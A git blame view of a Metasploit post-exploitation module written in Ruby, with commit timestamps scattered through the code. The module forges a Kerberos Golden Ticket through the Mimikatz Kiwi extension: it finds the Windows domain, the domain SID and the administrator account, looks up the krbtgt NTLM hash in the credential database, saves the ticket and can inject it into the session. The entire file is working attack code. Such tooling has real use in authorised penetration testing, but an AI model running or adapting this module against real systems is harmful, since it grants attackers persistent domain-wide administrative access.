metasploit-framework/modules/post/windows/escalate/golden_ticket.rb

224 lines
7.7 KiB
Ruby
Raw Normal View History

2014-12-13 15:59:06 +00:00
require 'msf/core'
require 'msf/core/post/windows/netapi'
require 'msf/core/post/windows/kiwi'
require 'msf/core/post/windows/error'
class Metasploit3 < Msf::Post
include Msf::Post::Windows::NetAPI
include Msf::Post::Windows::Accounts
include Msf::Post::Windows::Kiwi
include Msf::Post::Windows::Error
def initialize(info = {})
super(update_info(info,
'Name' => 'Windows Escalate Golden Ticket',
'Description' => %q{
2014-12-13 16:06:09 +00:00
This module will create a Golden Kerberos Ticket using the Mimikatz Kiwi Extension. If no
2014-12-13 16:11:35 +00:00
options are applied it will attempt to identify the current domain, the domain administrator
2014-12-13 16:25:30 +00:00
account, the target domain SID, and retrieve the krbtgt NTLM hash from the database. By default
2014-12-13 16:11:35 +00:00
the well-known Administrator's groups 512, 513, 518, 519, and 520 will be applied to the ticket.
2014-12-13 15:59:06 +00:00
},
'License' => MSF_LICENSE,
'Author' => [
'Ben Campbell'
],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'References' =>
[
['URL', 'https:/github.com/gentilkiwi/mimikatz/wiki/module-~-kerberos'],
['URL', 'http://blog.cobalstrike.com/2014/05/14/meterpreter-kiwi-extension-golden-ticket-howto/']
]
))
register_options(
[
OptBool.new('USE', [true, 'Use the ticket in the current session', false]),
OptString.new('USER', [false, 'Target User']),
OptString.new('DOMAIN', [false, 'Target Domain']),
OptString.new('KRBTGT_HASH', [false, 'KRBTGT NTLM Hash']),
OptString.new('Domain SID', [false, 'Domain SID']),
OptInt.new('ID', [false, 'Target User ID']),
OptString.new('GROUPS', [false, 'ID of Groups (Comma Seperated)'])
], self.class)
end
def run
return unless load_kiwi
user = datastore['USER']
domain = datastore['DOMAIN']
krbtgt_hash = datastore['KRBTGT_HASH']
domain_sid = datastore['SID']
id = datastore['ID'] || 0
groups = []
groups = datastore['GROUPS'].split(',').map(&:to_i) if datastore['GROUPS']
unless domain
print_status('Searching for the domain...')
domain = get_domain
if domain
print_good("Targeting #{domain}")
else
fail_with(Failure::Unknown, 'Unable to retrieve the domain...')
end
end
unless krbtgt_hash
2014-12-13 16:09:43 +00:00
if framework.db.active
print_status('Searching for krbtgt hash in database...')
krbtgt_hash = lookup_krbtgt_hash(domain)
fail_with(Failure::Unknown, 'Unable to find krbtgt hash in database') unless krbtgt_hash
else
fail_with(Failure::BadConfig, 'No database, please supply the krbtgt hash')
end
2014-12-13 15:59:06 +00:00
end
unless domain_sid
print_status("Obtaining #{domain} SID...")
domain_sid = lookup_domain_sid(domain)
if domain_sid
print_good("Found #{domain} SID: #{domain_sid}")
else
fail_with(Failure::Unknown, "Unable to find SID for #{domain}")
end
end
unless user
if id && id != 0
print_status("Lookup up User #{id}")
user = resolve_sid("#{domain_sid}-#{id}")[:name]
else
print_status('Looking up Domain Administrator account...')
user = resolve_sid("#{domain_sid}-500")[:name]
end
if user
print_good("Found User: #{user}")
else
fail_with(Failure::Unknown, 'Unable to find User')
end
end
unless user && domain && domain_sid && krbtgt_hash
fail_with(Failure::Unknown, 'Not all requirements obtained')
end
print_status("Creating Golden Ticket for #{domain}\\#{user}...")
ticket = client.kiwi.golden_ticket_create(user, domain, domain_sid, krbtgt_hash, id, groups)
if ticket
print_good('Golden Ticket Obtained!')
ticket_location = store_loot("golden.ticket",
"binary/kirbi",
session,
ticket,
"#{domain}\\#{user}-golden_ticket.kirbi",
"#{domain}\\#{user} Golden Ticket")
print_status("Ticket saved to #{ticket_location}")
if datastore['USE']
print_status("Attempting to use the ticket...")
client.kiwi.kerberos_ticket_use(ticket)
print_good("Kerberos ticket applied successfully")
end
else
fail_with(Failure::Unknown, 'Unable to create ticket')
end
end
def lookup_domain_sid(domain)
string_sid = nil
cb_sid = 0
cch_referenced_domain_name = 0
sid_buffer = nil
referenced_domain_name_buffer = nil
# Send 0 length buffers so we get the correct buffer sizes from the out values
buffers = client.railgun.advapi32.LookupAccountNameA(
nil,
2014-12-13 16:13:18 +00:00
domain,
2014-12-13 15:59:06 +00:00
sid_buffer,
cb_sid,
referenced_domain_name_buffer,
cch_referenced_domain_name,
1)
if !buffers['return'] && buffers['GetLastError'] == INSUFFICIENT_BUFFER
sid_buffer = cb_sid = buffers['cbSid']
referenced_domain_name_buffer = cch_referenced_domain_name = buffers['cchReferencedDomainName']
res = client.railgun.advapi32.LookupAccountNameA(
nil,
domain,
sid_buffer,
cb_sid,
referenced_domain_name_buffer,
cch_referenced_domain_name,
1)
else
return nil
end
if res['return']
sub_authority_count = res['Sid'].unpack('CC')[1]
sid = res['Sid'].unpack("CCCCCCCCV#{sub_authority_count}")
string_sid = "S-#{sid[0]}-#{sid[7]}-#{sid[8]}-#{sid[9]}-#{sid[10]}-#{sid[11]}"
else
print_error("Error looking up SID: #{res['ErrorMessage']}")
end
string_sid
end
def lookup_krbtgt_hash(domain)
krbtgt_hash = nil
2014-12-13 16:09:43 +00:00
krbtgt_creds = Metasploit::Credential::Core.joins(:public, :private).where(
metasploit_credential_publics: { username: 'krbtgt' },
metasploit_credential_privates: { type: 'Metasploit::Credential::NTLMHash' },
workspace_id: myworkspace.id)
if krbtgt_creds
if krbtgt_creds.count == 0
print_error('No KRBTGT Hashes found in database')
elsif krbtgt_creds.count > 1
# Can we reduce the list by domain...
krbtgt_creds_realm = krbtgt_creds.select { |c| c.realm.to_s.upcase == domain.upcase }
# We have found a krbtgt hashes in our target domain
if krbtgt_creds_realm.length == 1
cred = krbtgt_creds_realm.first
2014-12-13 15:59:06 +00:00
krbtgt_hash = cred.private.data.split(':')[1]
print_good("Using #{cred.realm}:#{cred.public.username}:#{krbtgt_hash}")
2014-12-13 16:09:43 +00:00
return krbtgt_hash
# We have found multiple krbtgt hashes in our target domain?!
elsif krbtgt_creds_realm.length > 0
krbtgt_creds = krbtgt_creds_realm
end
# Multiple hashes found, the user will have to manually set one...
print_error('Multiple KRBTGT Hashes found in database, please use one of the below:')
krbtgt_creds.each do |kc|
hash = kc.private.data.split(':')[1]
print_line("#{kc.realm}:#{kc.public.username}:#{hash}")
2014-12-13 15:59:06 +00:00
end
2014-12-13 16:09:43 +00:00
else
# Highlander, there can only be one!
cred = krbtgt_creds.first
krbtgt_hash = cred.private.data.split(':')[1]
print_good("Using #{cred.realm}:#{cred.public.username}:#{krbtgt_hash}")
2014-12-13 15:59:06 +00:00
end
end
krbtgt_hash
end
end